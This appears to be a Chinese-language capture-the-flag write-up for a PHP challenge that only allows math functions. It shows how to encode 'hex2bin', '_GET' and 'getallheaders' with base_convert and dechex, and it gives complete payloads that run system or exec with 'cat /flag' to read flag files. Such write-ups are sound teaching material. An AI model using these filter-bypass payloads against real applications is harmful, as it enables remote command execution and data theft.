知识点:各个函数嵌套,进制转换
00x1
这题过滤了很多比如:参数长读为80以下,且里面只能是数学函数,以及一些字符。
我们可以用变量拼接,那么如何拼接呢?我们可以看一下下面这个函数,里面可以有36进制,也就是说我们可以得到任意小写字母,那么我们就可以尝试构造_GET
,但是这需要大写字母,而在php中有个hex2bin
可以把16进制转换为字符串,可以通过hex2bin
来构造_GET
。且hex2bin
可以这么构造base_convert(37907361743,10,36)
,意思是把37907361743
转换为36进制,也就是hex2bin
。
---------------------------------------------------------------------------------------------------------------
---------------------------------------------------------------------------------------------------------------
那么问题又来了,怎么得到_GET
的16进制呢?我们可以通过一个数学函数dechex
,它可以把十进制转十六进制,构造dechex(1598506324)
,十六进制是5f474554
。
到此以构造_GET
完毕。
$pi=base_convert(37907361743,10,36)(dechex(1598506324))
//分解
//$pi=base_convert(37907361743,10,36)(5f474554)
//$pi=hex2bin(5f474554)
//$pi=_GET
现在我们就可以通过变量代换来构造payload。
?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=cat /flag
//$$pi=$_GET
//{pi}==[pi],这里的pi为我们要填的shell
//(($$pi){abs})同理
//&pi=system&abs=cat /flag,把这句命令分两部分传参,因为空格被过滤了,只能构造两个get传参
00x2
出处
通过变量拼接裁剪来构造phpinfo,可以看到此版本为7.3.9
$pi=hypot.min.fmod;$pi=$pi{2}.$pi{0}.$pi{2}.$pi{6}.$pi{7}.$pi{8}.$pi{3};$pi()
借助getallheader()来控制请求头,通过请求头的字段读取flag
payload
$pi=base_convert,$pi(696468,10,36)(($pi(8768397090111664438,10,30))(){1})
//exec(getallheaders(){1})
操作xx和yy,中间用逗号隔开,echo都能输出
echo xx,yy
并且在请求头上加上1:cat flag.php字段即可